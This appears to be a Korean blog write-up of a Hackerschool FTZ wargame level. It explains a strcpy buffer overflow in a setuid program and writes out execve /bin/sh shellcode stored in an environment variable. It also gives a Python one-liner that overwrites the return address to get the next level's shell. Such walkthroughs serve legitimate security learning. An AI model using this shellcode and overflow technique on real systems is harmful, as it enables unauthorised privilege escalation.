728x90


이 문제에는 2가지 취약점이 있다. 하나는 strcpy에 의한 buffer overflow취약점과


printf문에 의한 format string취약점이 있다. 어차피 level20에 fms문제가 나오므로 buffer overflow로 풀었다.

(사실 fms로 하다가 잘 안풀려서 일단 keep.)



쉘 코드를 메모리에 올리는 방법중 "환경 변수"를 이용하는 방법이 있다.


환경변수는 프로그램 실행 시 메모리에 함께 올라가기 때문이다.


이를 이용하면 쉘 코드를 메모리에 올리고 환경변수의 메모리 주소값을 이용하여 쉘 코드를 실행 시킬 수 있다.


##

위 사진에 있는 쉘 코드는 http://kaspyx.kr/4 이 블로그를 참조, 아니 copy하였다.

제작법까지 상세하게 나와있다.


쉘 코드 :

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80



컴파일이 가능한 환경이면 이런 코드를 이용해서 환경변수가 메모리에 위치하게 되는 주소를 알 수 있다.



여러번 실행을 시켜 보았는데 지속적으로 고정된 주소값이 나왔다.



gdb로 까 보면 알 수 있듯이 ret의 스택상 위치는


[  buf(256)  ][  dummy(8)  ][  ebp(sfp)  ][  ret(여기)  ]


에 있으므로 공격코드는


./attackme `python -c 'print "A"*268+"환경변수주소(little endian)"'`


이 된다.


위 사진에서 보이듯이 setuid가 attackme에 걸려있어 level12의 쉘을 얻었다.

728x90

'ctf + wargame > 해커스쿨ftz' 카테고리의 다른 글

[ftz] level13  (0) 2015.09.20
[ftz] level12  (0) 2015.09.20
[ftz] level10  (0) 2015.09.18
[ftz] level9  (0) 2015.09.18
[ftz] level8  (0) 2015.09.18

+ Recent posts